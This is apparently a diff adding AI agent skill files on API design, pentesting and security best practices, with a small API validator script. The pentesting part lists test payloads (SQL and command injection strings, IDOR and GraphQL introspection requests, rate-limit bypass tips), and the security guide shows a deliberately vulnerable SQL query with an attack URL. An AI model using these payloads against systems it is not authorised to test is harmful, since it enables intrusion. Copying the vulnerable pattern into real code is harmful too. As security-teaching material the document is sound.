+/api/news?limit=9999999999
+```
+
+---
+
+## Common API Vulnerabilities Checklist
+
+| Vulnerability | Description |
+|---------------|-------------|
+| API Exposure | Unprotected endpoints exposed publicly |
+| Misconfigured Caching | Sensitive data cached incorrectly |
+| Exposed Tokens | API keys/tokens in responses or URLs |
+| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
+| IDOR / BOLA | Broken Object Level Authorization |
+| Undocumented Endpoints | Hidden admin/debug endpoints |
+| Different Versions | Security gaps in older API versions |
+| Rate Limiting | Missing or bypassable rate limits |
+| Race Conditions | TOCTOU vulnerabilities |
+| XXE Injection | XML parser exploitation |
+| Content Type Issues | Switching between JSON/XML |
+| HTTP Method Tampering | GET→DELETE/PUT abuse |
+
+---
+
+## Quick Reference
+
+| Vulnerability | Test Payload | Risk |
+|---------------|--------------|------|
+| IDOR | Change user_id parameter | High |
+| SQLi | `' OR 1=1--` in JSON | Critical |
+| Command Injection | `; ls /` | Critical |
+| XXE | DOCTYPE with ENTITY | High |
+| SSRF | Internal IP in params | High |
+| Rate Limit Bypass | Batch requests | Medium |
+| Method Tampering | GET→DELETE | High |
+
+---
+
+## Tools Reference
+
+| Category | Tool | URL |
+|----------|------|-----|
+| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
+| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
+| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
+| API Security | apicheck | github.com/BBVA/apicheck |
+| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
+| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
+| API Toolkit | APIKit | github.com/API-Security/APIKit |
+| API Keys | API Guesser | api-guesser.netlify.app |
+| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
+| GraphQL | InQL | github.com/doyensec/inql |
+| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
+| GraphQL | graphw00f | github.com/dolevf/graphw00f |
+| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
+| GraphQL | batchql | github.com/assetnote/batchql |
+| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
+| Wordlists | SecLists | github.com/danielmiessler/SecLists |
+| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
+| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
+| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
+| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
+
+---
+
+## Constraints
+
+**Must:**
+- Test mobile, web, and developer APIs separately
+- Check all API versions (/v1, /v2, /v3)
+- Validate both authenticated and unauthenticated access
+
+**Must Not:**
+- Assume same security controls across API versions
+- Skip testing undocumented endpoints
+- Ignore rate limiting checks
+
+**Should:**
+- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend
+- Check archive.org for historical API endpoints
+- Test for race conditions on sensitive operations
+
+---
+
+## Examples
+
+### Example 1: IDOR Exploitation
+
+```bash
+# Original request (own data)
+GET /api/v1/invoices/12345
+Authorization: Bearer <token>
+
+# Modified request (other user's data)
+GET /api/v1/invoices/12346
+Authorization: Bearer <token>
+
+# Response reveals other user's invoice data
+```
+
+### Example 2: GraphQL Introspection
+
+```bash
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '{"query":"{__schema{types{name,fields{name}}}}"}'
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |
+| 401 on all endpoints | Try adding `?user_id=1` parameter |
+| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
+| Rate limited | Use IP rotation or batch requests |
+| Can't find endpoints | Check Swagger, archive.org, JS files |

skills/api-patterns/SKILL.md

@@ -0,0 +1,81 @@
+---
+name: api-patterns
+description: API design principles and decision-making. REST vs GraphQL vs tRPC selection, response formats, versioning, pagination.
+allowed-tools: Read, Write, Edit, Glob, Grep
+---
+
+# API Patterns
+
+> API design principles and decision-making for 2025.
+> **Learn to THINK, not copy fixed patterns.**
+
+## 🎯 Selective Reading Rule
+
+**Read ONLY files relevant to the request!** Check the content map, find what you need.
+
+---
+
+## 📑 Content Map
+
+| File | Description | When to Read |
+|------|-------------|--------------|
+| `api-style.md` | REST vs GraphQL vs tRPC decision tree | Choosing API type |
+| `rest.md` | Resource naming, HTTP methods, status codes | Designing REST API |
+| `response.md` | Envelope pattern, error format, pagination | Response structure |
+| `graphql.md` | Schema design, when to use, security | Considering GraphQL |
+| `trpc.md` | TypeScript monorepo, type safety | TS fullstack projects |
+| `versioning.md` | URI/Header/Query versioning | API evolution planning |
+| `auth.md` | JWT, OAuth, Passkey, API Keys | Auth pattern selection |
+| `rate-limiting.md` | Token bucket, sliding window | API protection |
+| `documentation.md` | OpenAPI/Swagger best practices | Documentation |
+| `security-testing.md` | OWASP API Top 10, auth/authz testing | Security audits |
+
+---
+
+## 🔗 Related Skills
+
+| Need | Skill |
+|------|-------|
+| API implementation | `@[skills/backend-development]` |
+| Data structure | `@[skills/database-design]` |
+| Security details | `@[skills/security-hardening]` |
+
+---
+
+## ✅ Decision Checklist
+
+Before designing an API:
+
+- [ ] **Asked user about API consumers?**
+- [ ] **Chosen API style for THIS context?** (REST/GraphQL/tRPC)
+- [ ] **Defined consistent response format?**
+- [ ] **Planned versioning strategy?**
+- [ ] **Considered authentication needs?**
+- [ ] **Planned rate limiting?**
+- [ ] **Documentation approach defined?**
+
+---
+
+## ❌ Anti-Patterns
+
+**DON'T:**
+- Default to REST for everything
+- Use verbs in REST endpoints (/getUsers)
+- Return inconsistent response formats
+- Expose internal errors to clients
+- Skip rate limiting
+
+**DO:**
+- Choose API style based on context
+- Ask about client requirements
+- Document thoroughly
+- Use appropriate status codes
+
+---
+
+## Script
+
+| Script | Purpose | Command |
+|--------|---------|---------|
+| `scripts/api_validator.py` | API endpoint validation | `python scripts/api_validator.py <project_path>` |
+

skills/api-patterns/api-style.md

@@ -0,0 +1,42 @@
+# API Style Selection (2025)
+
+> REST vs GraphQL vs tRPC - Hangi durumda hangisi?
+
+## Decision Tree
+
+```
+Who are the API consumers?
+│
+├── Public API / Multiple platforms
+│   └── REST + OpenAPI (widest compatibility)
+│
+├── Complex data needs / Multiple frontends
+│   └── GraphQL (flexible queries)
+│
+├── TypeScript frontend + backend (monorepo)
+│   └── tRPC (end-to-end type safety)
+│
+├── Real-time / Event-driven
+│   └── WebSocket + AsyncAPI
+│
+└── Internal microservices
+    └── gRPC (performance) or REST (simplicity)
+```
+
+## Comparison
+
+| Factor | REST | GraphQL | tRPC |
+|--------|------|---------|------|
+| **Best for** | Public APIs | Complex apps | TS monorepos |
+| **Learning curve** | Low | Medium | Low (if TS) |
+| **Over/under fetching** | Common | Solved | Solved |
+| **Type safety** | Manual (OpenAPI) | Schema-based | Automatic |
+| **Caching** | HTTP native | Complex | Client-based |
+
+## Selection Questions
+
+1. Who are the API consumers?
+2. Is the frontend TypeScript?
+3. How complex are the data relationships?
+4. Is caching critical?
+5. Public or internal API?

skills/api-patterns/auth.md

@@ -0,0 +1,24 @@
+# Authentication Patterns
+
+> Choose auth pattern based on use case.
+
+## Selection Guide
+
+| Pattern | Best For |
+|---------|----------|
+| **JWT** | Stateless, microservices |
+| **Session** | Traditional web, simple |
+| **OAuth 2.0** | Third-party integration |
+| **API Keys** | Server-to-server, public APIs |
+| **Passkey** | Modern passwordless (2025+) |
+
+## JWT Principles
+
+```
+Important:
+├── Always verify signature
+├── Check expiration
+├── Include minimal claims
+├── Use short expiry + refresh tokens
+└── Never store sensitive data in JWT
+```

skills/api-patterns/documentation.md

@@ -0,0 +1,26 @@
+# API Documentation Principles
+
+> Good docs = happy developers = API adoption.
+
+## OpenAPI/Swagger Essentials
+
+```
+Include:
+├── All endpoints with examples
+├── Request/response schemas
+├── Authentication requirements
+├── Error response formats
+└── Rate limiting info
+```
+
+## Good Documentation Has
+
+```
+Essentials:
+├── Quick start / Getting started
+├── Authentication guide
+├── Complete API reference
+├── Error handling guide
+├── Code examples (multiple languages)
+└── Changelog
+```

skills/api-patterns/graphql.md

@@ -0,0 +1,41 @@
+# GraphQL Principles
+
+> Flexible queries for complex, interconnected data.
+
+## When to Use
+
+```
+✅ Good fit:
+├── Complex, interconnected data
+├── Multiple frontend platforms
+├── Clients need flexible queries
+├── Evolving data requirements
+└── Reducing over-fetching matters
+
+❌ Poor fit:
+├── Simple CRUD operations
+├── File upload heavy
+├── HTTP caching important
+└── Team unfamiliar with GraphQL
+```
+
+## Schema Design Principles
+
+```
+Principles:
+├── Think in graphs, not endpoints
+├── Design for evolvability (no versions)
+├── Use connections for pagination
+├── Be specific with types (not generic "data")
+└── Handle nullability thoughtfully
+```
+
+## Security Considerations
+
+```
+Protect against:
+├── Query depth attacks → Set max depth
+├── Query complexity → Calculate cost
+├── Batching abuse → Limit batch size
+├── Introspection → Disable in production
+```

skills/api-patterns/rate-limiting.md

@@ -0,0 +1,31 @@
+# Rate Limiting Principles
+
+> Protect your API from abuse and overload.
+
+## Why Rate Limit
+
+```
+Protect against:
+├── Brute force attacks
+├── Resource exhaustion
+├── Cost overruns (if pay-per-use)
+└── Unfair usage
+```
+
+## Strategy Selection
+
+| Type | How | When |
+|------|-----|------|
+| **Token bucket** | Burst allowed, refills over time | Most APIs |
+| **Sliding window** | Smooth distribution | Strict limits |
+| **Fixed window** | Simple counters per window | Basic needs |
+
+## Response Headers
+
+```
+Include in headers:
+├── X-RateLimit-Limit (max requests)
+├── X-RateLimit-Remaining (requests left)
+├── X-RateLimit-Reset (when limit resets)
+└── Return 429 when exceeded
+```

skills/api-patterns/response.md

@@ -0,0 +1,37 @@
+# Response Format Principles
+
+> Consistency is key - choose a format and stick to it.
+
+## Common Patterns
+
+```
+Choose one:
+├── Envelope pattern ({ success, data, error })
+├── Direct data (just return the resource)
+└── HAL/JSON:API (hypermedia)
+```
+
+## Error Response
+
+```
+Include:
+├── Error code (for programmatic handling)
+├── User message (for display)
+├── Details (for debugging, field-level errors)
+├── Request ID (for support)
+└── NOT internal details (security!)
+```
+
+## Pagination Types
+
+| Type | Best For | Trade-offs |
+|------|----------|------------|
+| **Offset** | Simple, jumpable | Performance on large datasets |
+| **Cursor** | Large datasets | Can't jump to page |
+| **Keyset** | Performance critical | Requires sortable key |
+
+### Selection Questions
+
+1. How large is the dataset?
+2. Do users need to jump to specific pages?
+3. Is data frequently changing?

skills/api-patterns/rest.md

@@ -0,0 +1,40 @@
+# REST Principles
+
+> Resource-based API design - nouns not verbs.
+
+## Resource Naming Rules
+
+```
+Principles:
+├── Use NOUNS, not verbs (resources, not actions)
+├── Use PLURAL forms (/users not /user)
+├── Use lowercase with hyphens (/user-profiles)
+├── Nest for relationships (/users/123/posts)
+└── Keep shallow (max 3 levels deep)
+```
+
+## HTTP Method Selection
+
+| Method | Purpose | Idempotent? | Body? |
+|--------|---------|-------------|-------|
+| **GET** | Read resource(s) | Yes | No |
+| **POST** | Create new resource | No | Yes |
+| **PUT** | Replace entire resource | Yes | Yes |
+| **PATCH** | Partial update | No | Yes |
+| **DELETE** | Remove resource | Yes | No |
+
+## Status Code Selection
+
+| Situation | Code | Why |
+|-----------|------|-----|
+| Success (read) | 200 | Standard success |
+| Created | 201 | New resource created |
+| No content | 204 | Success, nothing to return |
+| Bad request | 400 | Malformed request |
+| Unauthorized | 401 | Missing/invalid auth |
+| Forbidden | 403 | Valid auth, no permission |
+| Not found | 404 | Resource doesn't exist |
+| Conflict | 409 | State conflict (duplicate) |
+| Validation error | 422 | Valid syntax, invalid data |
+| Rate limited | 429 | Too many requests |
+| Server error | 500 | Our fault |

skills/api-patterns/scripts/api_validator.py

@@ -0,0 +1,211 @@
+#!/usr/bin/env python3
+"""
+API Validator - Checks API endpoints for best practices.
+Validates OpenAPI specs, response formats, and common issues.
+"""
+import sys
+import json
+import re
+from pathlib import Path
+
+# Fix Windows console encoding for Unicode output
+try:
+    sys.stdout.reconfigure(encoding='utf-8', errors='replace')
+    sys.stderr.reconfigure(encoding='utf-8', errors='replace')
+except AttributeError:
+    pass  # Python < 3.7
+
+def find_api_files(project_path: Path) -> list:
+    """Find API-related files."""
+    patterns = [
+        "**/*api*.ts", "**/*api*.js", "**/*api*.py",
+        "**/routes/*.ts", "**/routes/*.js", "**/routes/*.py",
+        "**/controllers/*.ts", "**/controllers/*.js",
+        "**/endpoints/*.ts", "**/endpoints/*.py",
+        "**/*.openapi.json", "**/*.openapi.yaml",
+        "**/swagger.json", "**/swagger.yaml",
+        "**/openapi.json", "**/openapi.yaml"
+    ]
+    
+    files = []
+    for pattern in patterns:
+        files.extend(project_path.glob(pattern))
+    
+    # Exclude node_modules, etc.
+    return [f for f in files if not any(x in str(f) for x in ['node_modules', '.git', 'dist', 'build', '__pycache__'])]
+
+def check_openapi_spec(file_path: Path) -> dict:
+    """Check OpenAPI/Swagger specification."""
+    issues = []
+    passed = []
+    
+    try:
+        content = file_path.read_text(encoding='utf-8')
+        
+        if file_path.suffix == '.json':
+            spec = json.loads(content)
+        else:
+            # Basic YAML check
+            if 'openapi:' in content or 'swagger:' in content:
+                passed.append("[OK] OpenAPI/Swagger version defined")
+            else:
+                issues.append("[X] No OpenAPI version found")
+            
+            if 'paths:' in content:
+                passed.append("[OK] Paths section exists")
+            else:
+                issues.append("[X] No paths defined")
+            
+            if 'components:' in content or 'definitions:' in content:
+                passed.append("[OK] Schema components defined")
+            
+            return {'file': str(file_path), 'passed': passed, 'issues': issues, 'type': 'openapi'}
+        
+        # JSON OpenAPI checks
+        if 'openapi' in spec or 'swagger' in spec:
+            passed.append("[OK] OpenAPI version defined")
+        
+        if 'info' in spec:
+            if 'title' in spec['info']:
+                passed.append("[OK] API title defined")
+            if 'version' in spec['info']:
+                passed.append("[OK] API version defined")
+            if 'description' not in spec['info']:
+                issues.append("[!] API description missing")
+        
+        if 'paths' in spec:
+            path_count = len(spec['paths'])
+            passed.append(f"[OK] {path_count} endpoints defined")
+            
+            # Check each path
+            for path, methods in spec['paths'].items():
+                for method, details in methods.items():
+                    if method in ['get', 'post', 'put', 'patch', 'delete']:
+                        if 'responses' not in details:
+                            issues.append(f"[X] {method.upper()} {path}: No responses defined")
+                        if 'summary' not in details and 'description' not in details:
+                            issues.append(f"[!] {method.upper()} {path}: No description")
+        
+    except Exception as e:
+        issues.append(f"[X] Parse error: {e}")
+    
+    return {'file': str(file_path), 'passed': passed, 'issues': issues, 'type': 'openapi'}
+
+def check_api_code(file_path: Path) -> dict:
+    """Check API code for common issues."""
+    issues = []
+    passed = []
+    
+    try:
+        content = file_path.read_text(encoding='utf-8')
+        
+        # Check for error handling
+        error_patterns = [
+            r'try\s*{', r'try:', r'\.catch\(',
+            r'except\s+', r'catch\s*\('
+        ]
+        has_error_handling = any(re.search(p, content) for p in error_patterns)
+        if has_error_handling:
+            passed.append("[OK] Error handling present")
+        else:
+            issues.append("[X] No error handling found")
+        
+        # Check for status codes
+        status_patterns = [
+            r'status\s*\(\s*\d{3}\s*\)', r'statusCode\s*[=:]\s*\d{3}',
+            r'HttpStatus\.', r'status_code\s*=\s*\d{3}',
+            r'\.status\(\d{3}\)', r'res\.status\('
+        ]
+        has_status = any(re.search(p, content) for p in status_patterns)
+        if has_status:
+            passed.append("[OK] HTTP status codes used")
+        else:
+            issues.append("[!] No explicit HTTP status codes")
+        
+        # Check for validation
+        validation_patterns = [
+            r'validate', r'schema', r'zod', r'joi', r'yup',
+            r'pydantic', r'@Body\(', r'@Query\('
+        ]
+        has_validation = any(re.search(p, content, re.I) for p in validation_patterns)
+        if has_validation:
+            passed.append("[OK] Input validation present")
+        else:
+            issues.append("[!] No input validation detected")
+        
+        # Check for auth middleware
+        auth_patterns = [
+            r'auth', r'jwt', r'bearer', r'token',
+            r'middleware', r'guard', r'@Authenticated'
+        ]
+        has_auth = any(re.search(p, content, re.I) for p in auth_patterns)
+        if has_auth:
+            passed.append("[OK] Authentication/authorization detected")
+        
+        # Check for rate limiting
+        rate_patterns = [r'rateLimit', r'throttle', r'rate.?limit']
+        has_rate = any(re.search(p, content, re.I) for p in rate_patterns)
+        if has_rate:
+            passed.append("[OK] Rate limiting present")
+        
+        # Check for logging
+        log_patterns = [r'console\.log', r'logger\.', r'logging\.', r'log\.']
+        has_logging = any(re.search(p, content) for p in log_patterns)
+        if has_logging:
+            passed.append("[OK] Logging present")
+        
+    except Exception as e:
+        issues.append(f"[X] Read error: {e}")
+    
+    return {'file': str(file_path), 'passed': passed, 'issues': issues, 'type': 'code'}
+
+def main():
+    target = sys.argv[1] if len(sys.argv) > 1 else "."
+    project_path = Path(target)
+    
+    print("\n" + "=" * 60)
+    print("  API VALIDATOR - Endpoint Best Practices Check")
+    print("=" * 60 + "\n")
+    
+    api_files = find_api_files(project_path)
+    
+    if not api_files:
+        print("[!] No API files found.")
+        print("   Looking for: routes/, controllers/, api/, openapi.json/yaml")
+        sys.exit(0)
+    
+    results = []
+    for file_path in api_files[:15]:  # Limit
+        if 'openapi' in file_path.name.lower() or 'swagger' in file_path.name.lower():
+            result = check_openapi_spec(file_path)
+        else:
+            result = check_api_code(file_path)
+        results.append(result)
+    
+    # Print results
+    total_issues = 0
+    total_passed = 0
+    
+    for result in results:
+        print(f"\n[FILE] {result['file']} [{result['type']}]")
+        for item in result['passed']:
+            print(f"   {item}")
+            total_passed += 1
+        for item in result['issues']:
+            print(f"   {item}")
+            if item.startswith("[X]"):
+                total_issues += 1
+    
+    print("\n" + "=" * 60)
+    print(f"[RESULTS] {total_passed} passed, {total_issues} critical issues")
+    print("=" * 60)
+    
+    if total_issues == 0:
+        print("[OK] API validation passed")
+        sys.exit(0)
+    else:
+        print("[X] Fix critical issues before deployment")
+        sys.exit(1)
+
+if __name__ == "__main__":
+    main()

skills/api-patterns/security-testing.md

@@ -0,0 +1,122 @@
+# API Security Testing
+
+> Principles for testing API security. OWASP API Top 10, authentication, authorization testing.
+
+---
+
+## OWASP API Security Top 10
+
+| Vulnerability | Test Focus |
+|---------------|------------|
+| **API1: BOLA** | Access other users' resources |
+| **API2: Broken Auth** | JWT, session, credentials |
+| **API3: Property Auth** | Mass assignment, data exposure |
+| **API4: Resource Consumption** | Rate limiting, DoS |
+| **API5: Function Auth** | Admin endpoints, role bypass |
+| **API6: Business Flow** | Logic abuse, automation |
+| **API7: SSRF** | Internal network access |
+| **API8: Misconfiguration** | Debug endpoints, CORS |
+| **API9: Inventory** | Shadow APIs, old versions |
+| **API10: Unsafe Consumption** | Third-party API trust |
+
+---
+
+## Authentication Testing
+
+### JWT Testing
+
+| Check | What to Test |
+|-------|--------------|
+| Algorithm | None, algorithm confusion |
+| Secret | Weak secrets, brute force |
+| Claims | Expiration, issuer, audience |
+| Signature | Manipulation, key injection |
+
+### Session Testing
+
+| Check | What to Test |
+|-------|--------------|
+| Generation | Predictability |
+| Storage | Client-side security |
+| Expiration | Timeout enforcement |
+| Invalidation | Logout effectiveness |
+
+---
+
+## Authorization Testing
+
+| Test Type | Approach |
+|-----------|----------|
+| **Horizontal** | Access peer users' data |
+| **Vertical** | Access higher privilege functions |
+| **Context** | Access outside allowed scope |
+
+### BOLA/IDOR Testing
+
+1. Identify resource IDs in requests
+2. Capture request with user A's session
+3. Replay with user B's session
+4. Check for unauthorized access
+
+---
+
+## Input Validation Testing
+
+| Injection Type | Test Focus |
+|----------------|------------|
+| SQL | Query manipulation |
+| NoSQL | Document queries |
+| Command | System commands |
+| LDAP | Directory queries |
+
+**Approach:** Test all parameters, try type coercion, test boundaries, check error messages.
+
+---
+
+## Rate Limiting Testing
+
+| Aspect | Check |
+|--------|-------|
+| Existence | Is there any limit? |
+| Bypass | Headers, IP rotation |
+| Scope | Per-user, per-IP, global |
+
+**Bypass techniques:** X-Forwarded-For, different HTTP methods, case variations, API versioning.
+
+---
+
+## GraphQL Security
+
+| Test | Focus |
+|------|-------|
+| Introspection | Schema disclosure |
+| Batching | Query DoS |
+| Nesting | Depth-based DoS |
+| Authorization | Field-level access |
+
+---
+
+## Security Testing Checklist
+
+**Authentication:**
+- [ ] Test for bypass
+- [ ] Check credential strength
+- [ ] Verify token security
+
+**Authorization:**
+- [ ] Test BOLA/IDOR
+- [ ] Check privilege escalation
+- [ ] Verify function access
+
+**Input:**
+- [ ] Test all parameters
+- [ ] Check for injection
+
+**Config:**
+- [ ] Check CORS
+- [ ] Verify headers
+- [ ] Test error handling
+
+---
+
+> **Remember:** APIs are the backbone of modern apps. Test them like attackers will.

skills/api-patterns/trpc.md

@@ -0,0 +1,41 @@
+# tRPC Principles
+
+> End-to-end type safety for TypeScript monorepos.
+
+## When to Use
+
+```
+✅ Perfect fit:
+├── TypeScript on both ends
+├── Monorepo structure
+├── Internal tools
+├── Rapid development
+└── Type safety critical
+
+❌ Poor fit:
+├── Non-TypeScript clients
+├── Public API
+├── Need REST conventions
+└── Multiple language backends
+```
+
+## Key Benefits
+
+```
+Why tRPC:
+├── Zero schema maintenance
+├── End-to-end type inference
+├── IDE autocomplete across stack
+├── Instant API changes reflected
+└── No code generation step
+```
+
+## Integration Patterns
+
+```
+Common setups:
+├── Next.js + tRPC (most common)
+├── Monorepo with shared types
+├── Remix + tRPC
+└── Any TS frontend + backend
+```

skills/api-patterns/versioning.md

@@ -0,0 +1,22 @@
+# Versioning Strategies
+
+> Plan for API evolution from day one.
+
+## Decision Factors
+
+| Strategy | Implementation | Trade-offs |
+|----------|---------------|------------|
+| **URI** | /v1/users | Clear, easy caching |
+| **Header** | Accept-Version: 1 | Cleaner URLs, harder discovery |
+| **Query** | ?version=1 | Easy to add, messy |
+| **None** | Evolve carefully | Best for internal, risky for public |
+
+## Versioning Philosophy
+
+```
+Consider:
+├── Public API? → Version in URI
+├── Internal only? → May not need versioning
+├── GraphQL? → Typically no versions (evolve schema)
+├── tRPC? → Types enforce compatibility
+```

skills/api-security-best-practices/SKILL.md

@@ -0,0 +1,907 @@
+---
+name: api-security-best-practices
+description: "Implement secure API design patterns including authentication, authorization, input validation, rate limiting, and protection against common API vulnerabilities"
+---
+
+# API Security Best Practices
+
+## Overview
+
+Guide developers in building secure APIs by implementing authentication, authorization, input validation, rate limiting, and protection against common vulnerabilities. This skill covers security patterns for REST, GraphQL, and WebSocket APIs.
+
+## When to Use This Skill
+
+- Use when designing new API endpoints
+- Use when securing existing APIs
+- Use when implementing authentication and authorization
+- Use when protecting against API attacks (injection, DDoS, etc.)
+- Use when conducting API security reviews
+- Use when preparing for security audits
+- Use when implementing rate limiting and throttling
+- Use when handling sensitive data in APIs
+
+## How It Works
+
+### Step 1: Authentication & Authorization
+
+I'll help you implement secure authentication:
+- Choose authentication method (JWT, OAuth 2.0, API keys)
+- Implement token-based authentication
+- Set up role-based access control (RBAC)
+- Secure session management
+- Implement multi-factor authentication (MFA)
+
+### Step 2: Input Validation & Sanitization
+
+Protect against injection attacks:
+- Validate all input data
+- Sanitize user inputs
+- Use parameterized queries
+- Implement request schema validation
+- Prevent SQL injection, XSS, and command injection
+
+### Step 3: Rate Limiting & Throttling
+
+Prevent abuse and DDoS attacks:
+- Implement rate limiting per user/IP
+- Set up API throttling
+- Configure request quotas
+- Handle rate limit errors gracefully
+- Monitor for suspicious activity
+
+### Step 4: Data Protection
+
+Secure sensitive data:
+- Encrypt data in transit (HTTPS/TLS)
+- Encrypt sensitive data at rest
+- Implement proper error handling (no data leaks)
+- Sanitize error messages
+- Use secure headers
+
+### Step 5: API Security Testing
+
+Verify security implementation:
+- Test authentication and authorization
+- Perform penetration testing
+- Check for common vulnerabilities (OWASP API Top 10)
+- Validate input handling
+- Test rate limiting
+
+
+## Examples
+
+### Example 1: Implementing JWT Authentication
+
+```markdown
+## Secure JWT Authentication Implementation
+
+### Authentication Flow
+
+1. User logs in with credentials
+2. Server validates credentials
+3. Server generates JWT token
+4. Client stores token securely
+5. Client sends token with each request
+6. Server validates token
+
+### Implementation
+
+#### 1. Generate Secure JWT Tokens
+
+\`\`\`javascript
+// auth.js
+const jwt = require('jsonwebtoken');
+const bcrypt = require('bcrypt');
+
+// Login endpoint
+app.post('/api/auth/login', async (req, res) => {
+  try {
+    const { email, password } = req.body;
+    
+    // Validate input
+    if (!email || !password) {
+      return res.status(400).json({ 
+        error: 'Email and password are required' 
+      });
+    }
+    
+    // Find user
+    const user = await db.user.findUnique({ 
+      where: { email } 
+    });
+    
+    if (!user) {
+      // Don't reveal if user exists
+      return res.status(401).json({ 
+        error: 'Invalid credentials' 
+      });
+    }
+    
+    // Verify password
+    const validPassword = await bcrypt.compare(
+      password, 
+      user.passwordHash
+    );
+    
+    if (!validPassword) {
+      return res.status(401).json({ 
+        error: 'Invalid credentials' 
+      });
+    }
+    
+    // Generate JWT token
+    const token = jwt.sign(
+      { 
+        userId: user.id,
+        email: user.email,
+        role: user.role
+      },
+      process.env.JWT_SECRET,
+      { 
+        expiresIn: '1h',
+        issuer: 'your-app',
+        audience: 'your-app-users'
+      }
+    );
+    
+    // Generate refresh token
+    const refreshToken = jwt.sign(
+      { userId: user.id },
+      process.env.JWT_REFRESH_SECRET,
+      { expiresIn: '7d' }
+    );
+    
+    // Store refresh token in database
+    await db.refreshToken.create({
+      data: {
+        token: refreshToken,
+        userId: user.id,
+        expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
+      }
+    });
+    
+    res.json({
+      token,
+      refreshToken,
+      expiresIn: 3600
+    });
+    
+  } catch (error) {
+    console.error('Login error:', error);
+    res.status(500).json({ 
+      error: 'An error occurred during login' 
+    });
+  }
+});
+\`\`\`
+
+#### 2. Verify JWT Tokens (Middleware)
+
+\`\`\`javascript
+// middleware/auth.js
+const jwt = require('jsonwebtoken');
+
+function authenticateToken(req, res, next) {
+  // Get token from header
+  const authHeader = req.headers['authorization'];
+  const token = authHeader && authHeader.split(' ')[1]; // Bearer TOKEN
+  
+  if (!token) {
+    return res.status(401).json({ 
+      error: 'Access token required' 
+    });
+  }
+  
+  // Verify token
+  jwt.verify(
+    token, 
+    process.env.JWT_SECRET,
+    { 
+      issuer: 'your-app',
+      audience: 'your-app-users'
+    },
+    (err, user) => {
+      if (err) {
+        if (err.name === 'TokenExpiredError') {
+          return res.status(401).json({ 
+            error: 'Token expired' 
+          });
+        }
+        return res.status(403).json({ 
+          error: 'Invalid token' 
+        });
+      }
+      
+      // Attach user to request
+      req.user = user;
+      next();
+    }
+  );
+}
+
+module.exports = { authenticateToken };
+\`\`\`
+
+#### 3. Protect Routes
+
+\`\`\`javascript
+const { authenticateToken } = require('./middleware/auth');
+
+// Protected route
+app.get('/api/user/profile', authenticateToken, async (req, res) => {
+  try {
+    const user = await db.user.findUnique({
+      where: { id: req.user.userId },
+      select: {
+        id: true,
+        email: true,
+        name: true,
+        // Don't return passwordHash
+      }
+    });
+    
+    res.json(user);
+  } catch (error) {
+    res.status(500).json({ error: 'Server error' });
+  }
+});
+\`\`\`
+
+#### 4. Implement Token Refresh
+
+\`\`\`javascript
+app.post('/api/auth/refresh', async (req, res) => {
+  const { refreshToken } = req.body;
+  
+  if (!refreshToken) {
+    return res.status(401).json({ 
+      error: 'Refresh token required' 
+    });
+  }
+  
+  try {
+    // Verify refresh token
+    const decoded = jwt.verify(
+      refreshToken, 
+      process.env.JWT_REFRESH_SECRET
+    );
+    
+    // Check if refresh token exists in database
+    const storedToken = await db.refreshToken.findFirst({
+      where: {
+        token: refreshToken,
+        userId: decoded.userId,
+        expiresAt: { gt: new Date() }
+      }
+    });
+    
+    if (!storedToken) {
+      return res.status(403).json({ 
+        error: 'Invalid refresh token' 
+      });
+    }
+    
+    // Generate new access token
+    const user = await db.user.findUnique({
+      where: { id: decoded.userId }
+    });
+    
+    const newToken = jwt.sign(
+      { 
+        userId: user.id,
+        email: user.email,
+        role: user.role
+      },
+      process.env.JWT_SECRET,
+      { expiresIn: '1h' }
+    );
+    
+    res.json({
+      token: newToken,
+      expiresIn: 3600
+    });
+    
+  } catch (error) {
+    res.status(403).json({ 
+      error: 'Invalid refresh token' 
+    });
+  }
+});
+\`\`\`
+
+### Security Best Practices
+
+- ✅ Use strong JWT secrets (256-bit minimum)
+- ✅ Set short expiration times (1 hour for access tokens)
+- ✅ Implement refresh tokens for long-lived sessions
+- ✅ Store refresh tokens in database (can be revoked)
+- ✅ Use HTTPS only
+- ✅ Don't store sensitive data in JWT payload
+- ✅ Validate token issuer and audience
+- ✅ Implement token blacklisting for logout
+```
+
+
+### Example 2: Input Validation and SQL Injection Prevention
+
+```markdown
+## Preventing SQL Injection and Input Validation
+
+### The Problem
+
+**❌ Vulnerable Code:**
+\`\`\`javascript
+// NEVER DO THIS - SQL Injection vulnerability
+app.get('/api/users/:id', async (req, res) => {
+  const userId = req.params.id;
+  
+  // Dangerous: User input directly in query
+  const query = \`SELECT * FROM users WHERE id = '\${userId}'\`;
+  const user = await db.query(query);
+  
+  res.json(user);
+});
+
+// Attack example:
+// GET /api/users/1' OR '1'='1
+// Returns all users!
+\`\`\`
+
+### The Solution
+
+#### 1. Use Parameterized Queries
+
+\`\`\`javascript
+// ✅ Safe: Parameterized query
+app.get('/api/users/:id', async (req, res) => {
+  const userId = req.params.id;
+  
+  // Validate input first
+  if (!userId || !/^\d+$/.test(userId)) {
+    return res.status(400).json({ 
+      error: 'Invalid user ID' 
+    });
+  }
+  
+  // Use parameterized query
+  const user = await db.query(
+    'SELECT id, email, name FROM users WHERE id = $1',
+    [userId]
+  );
+  
+  if (!user) {
+    return res.status(404).json({ 
+      error: 'User not found' 
+    });
+  }
+  
+  res.json(user);
+});
+\`\`\`
+
+#### 2. Use ORM with Proper Escaping
+
+\`\`\`javascript
